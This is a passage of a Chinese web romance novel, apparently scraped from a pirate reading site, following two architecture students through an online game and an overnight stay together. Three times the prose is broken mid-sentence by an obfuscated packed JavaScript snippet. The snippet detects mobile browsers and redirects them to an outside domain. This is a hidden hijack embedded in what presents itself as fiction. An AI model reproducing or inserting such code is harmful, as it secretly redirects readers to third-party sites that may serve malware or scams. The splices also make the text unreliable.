严禹刚洗完澡,穿着宽松休闲的睡衣,拿毛巾擦着头发在屏幕前坐下来:“嗯,结果怎么样?” 白念有点小得意:“七位老师平均打分98分。” 严禹看着她在这种事情上难得流露出的可爱表情,忍着笑捧场:“这么高,比我那时候厉害多了。” “少来,”白念假装翻翻白眼,“别以为我没看过你的作业,我们是一样的分数。” 她知道的这么清楚,还得托这些专业课老师的福,总喜欢把严禹以前的作业当作范本夸来夸去。 拍马屁的谎话被戳穿,严禹依然笑得很坦然:“嗯,那我们一样厉害。” “怎么还带夸自己的。”白念对他这样幼稚的行为有些好笑,笑完之后在书桌上趴下来,两个手臂叠在一起,下巴搭在上面,看着屏幕彼端的人吹头发。 看他握着吹风机的白皙瘦长的手指,看他洗完之后松软的发丝垂落在鼻梁上,看他发端有水滴沿着鼻尖“啪嗒”掉在地上。 默契的沉默中,白念突然开口:“你们什么时候结束呀。” 严禹垂头发的动作突然一顿,他关了吹风机,在屏幕前弯下腰来,隔着有些模糊的视频画面认真与她对视,白念被他看得不自在地偏开目光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14098248|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还有一周,”严禹嗓音沉沉,“一结束我就上飞机。” 学会研讨早已经结束了,但章教授在海城这边参加了个挺大的综合项目,许多学界大佬也有涉猎,趁着大家都齐聚海城,章教授干脆拉着严禹就地调研起来,其实也是趁着这个机会让他在这些大拿面前崭露头角。 因此返程就延后了许久。 “……也不用那么赶的,”白念轻轻咳了声,“这边没什么着急的事情。” 眼看从她嘴里撬不出什么太出格的话了,严禹轻轻呼了口气:“嗯,是我着急。” 白念倏地抬起眼睛,然后就看到这个男人桃花眼弯成好看的弧度,语气很克制:“有点想你。” 她隐藏在屏幕之外的耳朵悄然烫了起来,欲盖弥彰地抬手揉了揉:“哦。” 严禹了然地轻笑了两声,没有戳穿,他看了眼时间:“早点睡觉?我陪你打语音。” 这几乎变成了他们最近晚间的例行日常,不管白念画图熬到多晚,严禹都会等她一起道晚安。 期中作业一提交,好不容易不用熬夜,白念却没有太多睡意:“不是很困……而且明天周末了。” “嗯,”严禹手指操纵着鼠标点了两下,“那上游戏,我陪你玩一会儿?” 白念思考了两秒:“好。” 服战期间的小活动减少了许多,上线之后只有竞技场在开放中,严禹发起组队邀请,两人往擂台方向走去。 白念在换装备:“也不知道两个剑尊一起打竞技场什么景象。” 她正说着话,屏幕里大步流星的玄衣女侠突然停下脚步,她以为自己的方向键坏了,狐疑地戳了两下,角色还是一动不动:“我的键盘好像——” 下一秒她的屏幕上突然跳出一个大红色的喜气洋洋的提示页面,勤勤恳恳的游戏管家在屏幕上笑呵呵作揖。 【恭喜少侠!十月怀胎之期已至,请少侠即刻回家待产,迎接新生命的降临!】 与此同时,严禹看着屏幕上“请陪夫人即刻回家待产”的提示,也是猝不及防。 这段时间过得太过按部就班,不知不觉居然已经到时间了。 “……待产,怎么待产,我不会啊。”白念跟着严禹传送,有点懵。 耳机里响起噼里啪啦的敲键盘的声音,短暂的安静之后严禹的声音响起:“我查了攻略,走个流程就行,没事。” 白念后知后觉地也想起来去看攻略,然后华丽丽地囧了。 【整个生产过程持续一小时,就看产婆npc表演就行,什么也不用干……当然,要是懒得等,那就砸钱买药。】 她表情复杂地操控角色躺到了床上,看着系统送来的产婆满头大汗地对着严禹的角色走流程。 【产婆:不行啊少侠,您的夫人似乎有些力竭,生产似乎遇到一些困难。若是有补气益血的药物相助,应该会大有助益,要不要试试?】 白念:…… 她满脸无语地开麦:“我们等会儿吧……这机制太猥琐了。” “没事。” 严禹已经轻松写意地手起币落,掏出一堆金光闪闪的丸药,浑身上下写满了“有钱来宰”。 白念惨不忍睹地捂住了脸。 这天杀的掉钱眼儿里的官方! 幸亏官方没有丧心病狂到真的做出什么离谱的动画来,三分钟后,随着镜头转向窗外高悬的弯月,一声清脆的婴儿啼哭在画面中响起,游戏管家跳了出来。 【恭喜二位少侠喜得贵女!】 画面一转,屏幕上出现一个腾云驾雾的威风凌凌的……肉团子。 她扎着两个微翘的羊角小辫,额头上长着两个幼嫩的犄角,眉心是和严禹转奶爸以后额头上一样的银色纹饰,浑身上下散发着专属的淡银色清晖,叉着腰气势汹汹地叼着一个……奶嘴。 一个炫酷的神族奶团子。 白念挑了挑眉。 还真让严禹说准了。 真是个神族的孩子。 95. 邀请 晋城大学综合教学楼,六楼,晚九点。 “场所理论,是由挪威建筑学家诺伯舒兹最早提出的概念,核心理念在运探讨人、建筑与环境之间的相互作用……” 阶梯教室里,老师讲课的声音透过扩音器延伸到教室每一个角落,这门建筑理论课被安排在大二上学期的晚间,许多脱离了高中晚自习许久的学生正坐在教室里昏昏欲睡。 最后一排的白念正低着头记着笔记,左胳膊被轻轻推了一下。 “念念,上一页ppt你记了吗,借我抄一下。”写字慢的菲菲苦着脸小声嘀咕。 白念点点头,把自己的笔记本推到她面前。 菲菲喜滋滋地接过去,眼睛从白念脸上飞快掠过,顿了一下:“你昨晚没休息好吗?” 说完从兜里掏出一块巴掌大的镜子怼到白念面前,镜子里清晰地倒映出白念眼下淡淡的乌青,因为皮肤白的缘故,衬得有些明显。 白念有些无精打采地打了个哈欠,懒懒地往桌上一趴,叹了口气:“玩游戏玩的有些晚了。” 上周五晚,她刚刚晋升为“电子妈咪”,新开的孩子系统一大堆眼花缭乱的培养任务要做,醒目的任务红点看得白念强迫症发作。 再者,眼看本服决赛就快开始了,许多人赶着把孩子养好带上战场,她也是这么想的,第一次参加比赛,总想尽力而为。 只是严禹这几天似乎格外忙,晚上连玩游戏的时间也没有了,只能连个麦陪她聊几句。白念干脆自己探索起孩子的新玩法来,万古好久没出新东西,她玩起来就有些上头。 菲菲恍然大悟地点点头,啧了一声:“恋爱中的女人啊。” 看着她似笑非笑的表情,白念有些莫名:“啊?” 菲菲挤了挤眼睛:“你家大神都去海城快一个半月了吧?想男朋友嘛,我懂的……不过还是别熬太晚哦。” ……白念有点啼笑皆非,慢半拍地反应过来,菲菲是误以为她是熬夜和严禹一起玩游戏了吧? 她侧着脸枕在手臂上,刚想反驳,“不”字都已经到嘴边了,在舌尖上滚了滚却咽了回去,脑子里全是严禹这段时间日复一日在耳朵里陪她入睡的那些“晚安”。 温柔低沉的嗓音混合着电子信号的金属质感,在她鼓膜上沉沉滚动,是似曾相识的记忆。 像回到了他顶着“风不语”的身份陪她夜聊的日子。 似乎……也没说错。 看她欲言又止,菲菲心中了然,转过脸想再调侃她两句:“你看我说的对不——” 说话间,菲菲的眼睛从后门一扫而过,骤然瞪大了眼睛,剩下的话戛然而止。 “嗯,”白念浑然不觉,轻笑一下,眼睛明亮坦荡,“好像是有点想他。” 没人回应她。 阶梯教室的椅子都是联排,白念突然感觉右侧的椅子轻轻振了一下,周遭让人昏昏欲睡的暖气突然裹挟着一股清冽的凉意扑面而来,蔓延上她裸露在外的小臂。 白念猛地从胳膊上抬起脸,向右转过头去。 方才话题中心的主人公悄无声息地落座在她身侧,深邃的眼神沉沉坠坠地落在她的眸中,眼尾带笑轻声开口。 “嗯,听到了。” 白念的耳垂腾地热了起来,仿佛讲小话被抓包一般,下意识直起身,眼睛里带着些惊讶:“……你怎么回来了?” 她记得他上周说过还有一周左右项目才能结束。 严禹看她小心翼翼边说话边看讲台的动作,喉结滚了滚,压下刚才听到那句话后暗涌的情绪,只是从桌下捉过她的手指,在手心里克制地捏了捏:“调研结束了就回来了。” 白念轻轻咬了咬唇,这才发现严禹握着自己的指尖冰凉,还带着些轻微的潮意,她往教室外看了一眼:“外面下雨了?” 一边说着一边拿自己被暖气烤得暖烘烘的掌心反过去包覆他的十指。 “嗯,”严禹目光落在她手上的动作,嘴角轻轻扬起,“忘记带伞了。” 白念仔细凝视着眼前这个人,柔软的发丝上带着晶莹细微的水汽,黑色的外套上挂着密密麻麻的水滴,搭在鼻梁上的发梢有些顽皮地翘着,显出些行色匆匆的凌乱来。 她看了眼手机上的时间,拢着严禹冰凉的指尖,思忖着开口:“还有半小时下课……” 严禹微微颔首,缓缓抽出自己的手指:“嗯,我去建筑馆送点资料,一会儿在外面等你。” 说完就要拎着包起身,然后被白念抓住了袖子边缘。 他一愣,然后看见白念扭头往讲台上看了一眼,飞快地收拾了东西跟室友打完招呼,再转过来眼睛里带着些雀跃:“我跟你一起。” . 十一月的晋城温度已经很低,空气里缠绵的雨气把人的肌肤打得闷湿。 白念的右手被严禹牢牢握在掌心里,两人在路灯下并肩而行,影子被细雨搅得模糊。 严禹把自己的外套脱下来罩在她的头顶,声音带着些调侃的轻微笑意:“乖学生也会翘课?” 方才脑子一热就跟着溜了的白念硬着头皮解释,“场所精神这本书我已经看完了。” 本就是个短暂的拓展课,这本书她已经看过好几遍,翘一小会儿也无伤大雅。 严禹憋着笑拢着她往前走:“嗯,好厉害。” “……我回去上课算了。”白念对他的调笑有些懊恼,要把自己的手从他掌心里扯开。 刚才那句不小心说出口的话被他听到本就有些不好意思,他还笑个不停,白念不干了。 她的手凉得很快,才走出教学楼指尖就冷得泛红,反倒是严禹的掌心渐渐热了起来。 察觉到她想挣脱,严禹手指一用力握住了她不让她走,收敛了唇角抑制不住的笑意,诚恳认错:“我不笑了。” 白念撇撇嘴,手指重新在他掌心里安分下来。 她陪严禹去章老师的办公室把资料放他桌上,迎面遇到了一个陌生的面孔,似乎也是来办公室办事的,严禹冲他点点头,扭头向白念介绍:“这是章老师的研究生。” 看到严禹和他身后的白念,男生愣了一下,随后恍然大悟,十分自来熟笑道:“难怪师弟拼了命地加班,原来是为了提前回来陪女朋友啊哈哈哈。” 白念眨了眨眼睛:“加班?” 严禹刚要开口解释,男生就大嘴巴般竹筒倒豆子一股脑全说了:“是啊,我在海城跟他一间房,这周他几乎没怎么休息,晚上熬夜到三四点,硬是一周干完了半个月的活,紧赶慢赶地大晚上飞回来了。” 然后指了指外头的天色:“海城台风来了,差点没回来成,还好我们运气好,是吧师弟?” 严禹无可反驳,无可奈何地点点头,看了白念一眼:“嗯,我运气好。” 男生说完还十分友善地冲着白念笑:“师弟能力真的很强,我们整个项目组都托他的福提前解放了,小师妹找男朋友的眼光不错哦。” 白念有点僵硬地笑了一下。 “好了,”男生挥挥手,“那我不打扰你们了,我也回去休息了,这个月累死了哎哟,再见啊。” 留下两人站在楼道里,一片寂静。 方才在教室里白念没仔细看,现在明亮的走廊灯光照射下,她才发现严禹眼球上细微的血丝,以及眼睛下面白皙肤色里透出的淡青色血管,泛着掩饰不住的疲倦。 她抿着唇抬起手,用拇指轻轻抚过他眼下的乌青,声音里带了些无奈:“干嘛要这么赶……” 严禹抬起手握住她的手腕,轻轻笑了下:“不是想我么。” 白念心口有些涨,那些不好意思的情绪消弭无形,徒留酸涩。 要不是今晚撞见别人,她压根不知道严禹每天晚上云淡风轻地陪她聊完、陪她入睡之后,还要自己一个人加班到那么晚。 他什么都不说。 她什么都不知道。 她垂着头盯着他胸前的金属扣子:“晚几天也没关系的呀……” 严禹垂眸看着她向下耷拉的睫毛和微微抿起的唇,心里软得一塌糊涂,想念的话说再多好像都词不达意。 最终他只是轻轻一笑:“有关系的。” 白念有点闷闷地“嗯”了一声。 身边陆续有人来往,严禹敛下情绪,牵起她的手:“我送你回去。” 耽搁半晌,晚课已经到了结束时间,综合楼里的人群开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14200741|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始如同潮水一般涌出。 他牵着她走出建筑馆,走到人群密集的路上,瞩目的身高和外形逐渐引起注目,有人陆陆续续抬头往这边看过来。 不论走到哪里,他都是舆论的焦点。 更遑论如今多了一个耀眼的白念。 他知道她不喜欢这样的关注。 严禹看了眼身侧垂着头的人,想了两秒,悄悄松开了牵着她的手,神色平静地要将手揣回自己兜里。 没想到埋着头走路的人突然站住,意味不明地侧过脸看了他一眼,伸手扯上他的袖子阻止了他收手的动作。 然后把自己五根细长的手指交错着插进他的指缝中,是十指相扣的姿态。 做完这件事以后,白念抿着唇,顶着纷乱繁杂的八卦目光和窃窃私语,一言不发地扯着他往前走。 严禹落后半步,视线落在两人坦然相握的十指上,迈开长腿跟了上去。 长睫微垂,如墨的眼眸里情绪翻涌。 . 白念的公寓距离学校很近,纵使严禹想将步子放得再慢一些,也不过二十分钟的路程。 他将她送至电梯门口站定,白念终于松开自己的手,低头去包里翻找钥匙。 门开了,房间里亮起温馨暖黄的灯光。 严禹的视线一瞬不眨地落在白念身上,跟随着她来回流转 听到声响,十月从沙发上跳下来,摇着尾巴晃晃悠悠踱步到门口,迎接主人的归家,看到严禹也在,十分给面子地多叫了一声。 白念弯下腰揉了揉十月的脑袋,直起身来看严禹,没有说话。 男生突然避开和她对视:“那你早点休息,我……回家了。” 白念看着他,脸上没什么特别的情绪,闷声应道:“哦。” 严禹轻轻从喉咙里溢出一声叹息,抬起手来将人揽进自己怀中,将下巴抵在白念颈侧,任由自己压抑了一晚上的想念泄漏出一丝端倪,声音里终于带了些疲倦:“让我靠会儿。” 白念没有说话,反手无声地抱紧了他的腰。 不知过了多久,男生才无限眷恋地直起身来,抬手拢住白念的半张侧脸,拇指轻轻摩挲她的脸颊:“那我走了?” 白念在建筑馆里就抿成一条直线的唇终于轻启,却不是说话,而是揪住他的衣领,踮起脚尖,直白地吻了上去。 严禹放在她颈侧的手指蓦然收紧。 大约是连续加班和长途飞行的缘故,他的唇带着轻微干涸的粗糙,白念闷闷地咬了一口,随后极轻地舔了一下他干燥的唇。 严禹气息陡然一乱,另一只手猛地箍住了她的腰,整个人的力量压了下来,骤然将她推到了门后,想要加深这个吻。 白念却喘息着偏开头,眼神明亮又勾人,轻睨着索吻落空的男生,声音里带着点较劲一般的意味:“拼命加班赶回来,就是为了跟我说一声早点休息吗?” 察觉到她话里坦荡的意味,严禹垂下眼眸:“我答应了你要慢慢来……” 白念终于笑起来,浅色的唇瓣因为刚才的吻弥漫着炫目的嫣红:“我知道。” 正因为如此,她才更觉察出心意的珍贵。 严禹气息不匀,目光落在她嫣红的唇上,骤然听到她突兀开口:“你回到家要多久?” 他心神不在此,反应慢了半拍:“……一个半小时。” 白念伸手碰了碰他微湿的头发,蓬松的发顶被风雨搅出肆意凌乱的型,连同被她一吻激出的晦暗目光一起,带出极具野性的凛冽。 和他往常克制斯文的样子大相径庭。 她又轻轻凑上去啄了一下他的唇:“头发湿了,衣服也湿了……这样回家会感冒的。” 严禹被她轻轻浅浅的动作勾得思绪混乱:“……嗯?” 白念手指在他微微湿润的发间抓了抓:“洗个热水澡去。” 这是个意味分明的邀请。 邀请他入侵她的空间。 严禹闭了闭眼,伸手捉住她在他头顶作乱的手腕,声音有些哑:“先做点别的。” 他再不给她退开的距离,呼吸密不透风地在白念鼻息间铺开,带着蔓延的湿意,重新重重地吻了下来。 96. 同眠 最终是严禹先松开了钳制着怀里人的手臂。 白念不明所以地睁开眼睛,直愣愣看着严禹,气息凌乱,靠在他的怀中,整个人显得有些茫然。 严禹垂下眼睛,与她水雾迷蒙的眼眸对视上,视线下移,她嫣红的唇瓣泛着莹润的光泽,是真实柔软的触感。 他蓦地强迫自己转开视线,开口的声音有些沙哑:“我去洗澡。” 直到目送他关上了浴室的门,白念才有些回过神来,脚边传来一声细声细气的猫叫,她低下头去,然后就看到十月坐在她的脚边,瞪着一双好奇的大眼睛看她。 她后知后觉地有些耳热,一把抄起十月把自己埋进了沙发里,戳戳它的脑袋瓜:“不许看。” 十月轻轻啃了她的指尖一下,似乎是对这样霸道的要求表达不满。 浴室里传来淅淅沥沥的水声,她有一搭没一搭地撸着十月的猫头,然后就听到水声一停。 这么快?她诧异地扭头看了一眼,这才进去几分钟。 浴室里一时间没有动静。 她有些奇怪,放下猫走过去敲了敲门:“怎么啦?” 严禹沉默了一瞬才开口:“……好像没热水了。” 白念愣了愣,一拍脑袋:“我忘了提醒你!热水管有点问题,在热水器下面有个筏子,偶尔需要重新拧一下……” 她隔着门指挥,也不知道里面是怎么个光景,竖着耳朵听了半晌,里面有窸窣响动,过了一会儿她问:“怎么样?好了吗?” “……好像没有。”隔着一道门,严禹的声音有些模糊。 白念看了眼窗外肆虐的冷风,她记得严禹还淋了雨……她犹豫了一下开口:“你先披一下浴巾,我进来帮你。” “好了。”一分钟后,里面的人乖乖回答。 她拧下浴室门把手,打开门,氤氲的水汽扑面而来,她轻轻咳了下,目不斜视地对着站在一旁的男生道:“稍等啊,马上。” 然后熟练地踮起脚尖重新拧了拧金属阀,再打开花洒试了试,热水重新流了出来,她松了口气,把花洒挂回原处飞速转身。 尽管她努力做到非礼勿视,奈何单人公寓的浴室里空间太过狭小,某些存在感太过强烈的景象还是从她眼前一闪而过。 是严禹似笑非笑的脸,以及那堪堪够遮住下半部分的浴巾。 “谢谢。”他好整以暇地倚着墙壁道谢,身上未散尽的氤氲热气是她沐浴液的味道,却又多了些属于他的独特气息,强烈地冲刷着她的嗅觉神经。 白念呼吸一紧,余光默默从他还在滴水的上半身划过,视线像被烫到一半飞快缩回,转身拉上了门:“不用谢。” 浴室里的某人抱着手垂眼看她僵着脑袋飞快跑走的模样,意味不明地轻轻笑了一下,重新拉开龙头。 热水倾斜而下,空气里蒸腾起熟悉的淡香。 全是她的味道。 . 洗完澡,白念翻出吹风机递给他,坐在一旁看他吹头发。 静谧狭小的空间里,只有吹风机嗡嗡运作的声音,白念抱着抱枕看着,突然想起来问道:“对了,你这次去海城接的项目情况怎么样?” 严禹把头发吹了个半干,放下吹风机,走过来挨着她在沙发上坐下,伸手撸了撸横在他俩中间的十月:“前期工作我基本替章教授跑完了,不出意外的话接下来他的工作重心就是这个了。” 白念放心地点点头:“那就好。” 听到刚刚那个学长说的话,她本来还有些担心会不会任务太难。 严禹轻轻“嗯”了一声。 白念伸手摸了摸他的头发,不滴水了,柔软的发丝间带着些未尽的潮气,她有些嫌弃地揉了揉他的头发,一把揪过茶几上的吹风机要递给他:“再吹一下,一会儿感冒了。” 严禹刚要重新接过来,桌子上的手机轻轻震了一下,他直起身拿起手机查看短信,白念干脆直接帮他吹起来,顺口道:“那你接下来这一年都跟着章教授实习吗?” 严禹目光落在短信界面,是严季淮发来的短信。 【阿禹,听说你跟着章以苓接了个大项目?我说的事你考虑的怎么样?我公司可比章以苓那儿更适合你,你知道的,爸爸很希望和你多相处一下。】 白念站在严禹身侧,没注意到面前的人表情一僵,随后才低低地开口:“如果……我不在章教授这里实习,你觉得怎么样?” 她愣了一下,这算什么问题? 她以为严禹不想待在章教授工作室,有些不明所以地回答:“去哪里都好呀,只要适合你自己就好。” 恰好他的头发已经吹干,白念收了吹风机,满意地揉了揉他蓬松的发,刚要转身,严禹突然就着坐着的姿势轻轻圈起了她的腰,带着热风温度的头发轻轻靠在她的腰际,一时间没有说话。 白念低下头,看不见他的表情,以为他是在担心去别的地方两个人见不到面,有些好笑地伸手像揉猫头一样揉他的脑袋:“去哪里都可以见面的呀。” 严禹动作一顿,突然觉得那些消散不去的郁气都轻了些,声音温和下来:“嗯。” 随后仿佛又确定一般地补了一句:“你说的对。” 他闭上眼睛,放任自己短暂沉溺在这方宁静平和中。 轰—— 窗外突然闪过一道亮如白昼的雷光,随后沉闷的轰鸣滚滚而来,本就浓重的夜色陡然沉了下来,豆大的雨滴噼里啪啦拍击玻璃。 暴雨说来就来。 雨势大得让白念有些吃惊,她掏出手机看了一眼:“暴雨要持续三个小时……” 现在已经十一点多,他到家最快也差不多一点了。 严禹深吸一口气,缓慢地松开她,站起身来:“那你早点休息,我回去了。” 他转身去拿外套,袖子却被轻轻扯住。 “外面雨这么大,你穿的这么少……”白念皱着眉,本来想说把自己的外套给他应应急,但是看他带着血丝的疲惫眼睛,后面的话不知道怎么就转了个弯。 “太晚了……明天再回去吧。” 话一说完,她立刻就想咬自己一口。 这里就一张床,两个人怎么睡? 严禹垂着眼看她,看到了她脱口而出之后的懊恼,轻笑了下:“没事,能回——” “你可以睡沙发!”她急中生智。 公寓里的沙发是两人座,严禹一米八几的个子窝在上面显得有些局促,他得将腿稍微蜷起来才能躺下去。 白念抱了床被子轻轻盖在他身上,见状又有些犹豫了:“要不……我俩换一下,我睡沙发也可以的。” 严禹失笑,握着她的手腕捏了捏:“说什么呢,怎么可能让你睡沙发,快去睡,已经很晚了。” “哦……”白念犹犹豫豫地站起来,有些不确定让他冒雨回家和在沙发上将就一晚上哪个更难受,“那你要是不舒服就跟我说。” 严禹目光温柔:“好。” “那……晚安?” “晚安。”严禹留恋地松开她的手腕,收回停留在她脸上的目光,微微阖起双目。 白念抿抿唇,转身进了卧室,关上门躺到了床上。窗外暴雨肆虐,视觉效果上透出汹涌的凉意。她用手撑了撑自己的被子,睡意全然无踪。 他熬了好几天的夜。 他淋着雨到学校找的她。 他身上盖的是夏天的被子…… 半小时后,她盯着酸涩的眼睛拉开卧室门,对着沙发上蜷缩着的身影轻轻开口:“要不,你还是进来睡吧……” 严禹蓦地睁开眼睛,目光一片清明,他安静地与她对视了两秒,揪着被子站起身来。 . 一米八的床,严禹很规矩地贴着床沿躺了下来,给白念留出充足的空间,然后拢了拢自己身上的夏凉被,噙着笑看站着的白念:“睡吧。” 白念今晚第一百零八次觉得自己脑袋大概是不太清醒。 她硬着头皮侧身躺了上去,把自己的被子分了一半给严禹,然后又小心翼翼地背过身来,悄悄地舒了口气。 严禹面朝她侧躺着,看着她呼吸缓慢起伏的背影,轻轻闭上了眼睛。 不知道时间过了多久,白念隐约听到背后传来均匀的呼吸声,她又轻又缓地从侧身变成躺平,然后又缓缓地转过脸去。 变成与他面对面的姿势。 卧室里开着一盏很小的床头灯,这是白念一个人住保留的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14244154|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习惯。 此刻暖黄的一粒光亮笼罩在严禹平静的侧脸上,睫毛在他脸上投射出长长的影子,他英俊利落的眉峰和鼻梁在光影里高低起伏,光影里他的眼眸安然不动,只有平缓轻微的呼吸声。 白念蓦然想起在酒店的那个夜晚,那时他神志已经不清醒,背后又被玻璃碎片扎出那么严重的伤口,平日里优雅从容的人彼时狼狈得一塌糊涂,却仍然记得给予她尊重与克制。 那时他隐忍低垂的眉眼和此刻一般深邃,如出一辙的令人心安和……心动。 鬼使神差地,白念从被子里伸出手,用食指轻轻低描摹过他英挺的眉峰,然后沿着线条流畅的鼻缓缓下滑,指尖停留在他的唇。 滚烫的呼吸打在她的指尖。 白念被这异常的温度惊了一下,猛然回神。 她刚想收回他唇边的指尖去探他额头的温度,手腕却被骤然抓住。 与她面对面“睡”了半晌的人缓缓睁开眼睛,声音有点带着病气的哑:“为什么不继续?” “我以为你睡着了……”突然被抓包,白念思维有些迟钝,“不对,你好像发烧了?” 严禹抓着她的手腕翻了个身,整个人撑在了她的上方,眼神暗沉沉地与她对视了一秒,白念几乎在他瞳孔里看到自己的清晰的脸。 下一秒,他呼吸沉沉地吻了下来。 这个吻带着隐忍了一晚上的隐忍和克制,汹涌地剥夺了白念的呼吸,她逐渐意识模糊,手腕不知道何时已经脱离了钳制,胡乱抓握住什么。 她凌乱的气息落在严禹耳朵边,急促又剧烈,他强迫自己停了下来,拉开毫厘距离,给她喘息的空间。 白念意识回笼了一瞬间,这才发现自己把他宽大的衣领紧紧攥在手中,扯开一片坦荡荡,刚才在浴室里余光瞥见的景象此刻在她眼前一览无余,流畅匀称的肌肉线条沿着胸口往下蔓延。 她热着脸要松开手指,严禹捉住了她的手不让她退,从嗓子里溢出轻笑:“看过几次了还不好意思?” 白念下意识瞪着他幽深的目光反驳:“我刚刚没仔细看……” 严禹眼尾一勾,笑意更甚:“东二篮球场,没看到?” 白念脑子嗡嗡地空白了一瞬,消散在记忆里许久的画面猛然跃进脑海。 东二……暑假……篮球…… 她突然瞪圆了眼睛。 那时他在打篮球,她捧着奶茶路过,一不小心看见他揪起自己的衣角擦了擦汗,顺带看见了他的……腹肌…… “想起来了?”严禹似笑非笑。 白念啼笑皆非地捶了他的肩膀一下:“我又不是故意的!那时候我和你都不熟,你怎么记得……” “嗯,”严禹微微点头,不再逗她,撑在她耳侧的手抬起,拇指缓缓摩挲她的唇瓣,认真道,“和你有关的,我都记得。” 白念从这个动作中感受到许多别样的意味,她不自觉地在他笼罩下挪动了一下。 好整以暇俯视着她的男生突然僵住了,他喉结滚了滚,眼神突然有些黯。 “怎么了?”白念察觉到异常,直愣愣地问了一句。 严禹突然又俯下.身来吻她,带着缠绵悱恻的缱绻,白念下意识闭起了眼睛,手臂不自觉环上了他的脖颈。 这个动作像是刺激到他一般,他骤然停下撤开一段距离,仓促地别过脸去,将呼吸埋进白念的颈侧,气息有些粗重。 白念有点茫然。 严禹从她上方艰难起身,伸手拉过被两人折腾得跑到一边的被子,将她整个严严实实包裹住,然后他深深出了一口气,伸出手臂将她连人带被整个圈住,把脸埋在白念脸侧,才缓缓开口。 “睡觉。” 白念懵然中突然想起什么:“等下,你不是发烧了吗……” 严禹圈着她的手臂紧了紧:“不用管,睡一觉就好了。” 白念被他禁锢着动弹不得,下意识想要挣扎挪动一下,埋在被子里的手突然碰到了什么,严禹闷哼了一声,她连呼吸都屏住了。 大气也不敢出。 空气安静了许久,严禹的声音才从她的颈侧闷闷地传来:“晚安。” 白念轻轻吞咽了一下:“晚安。”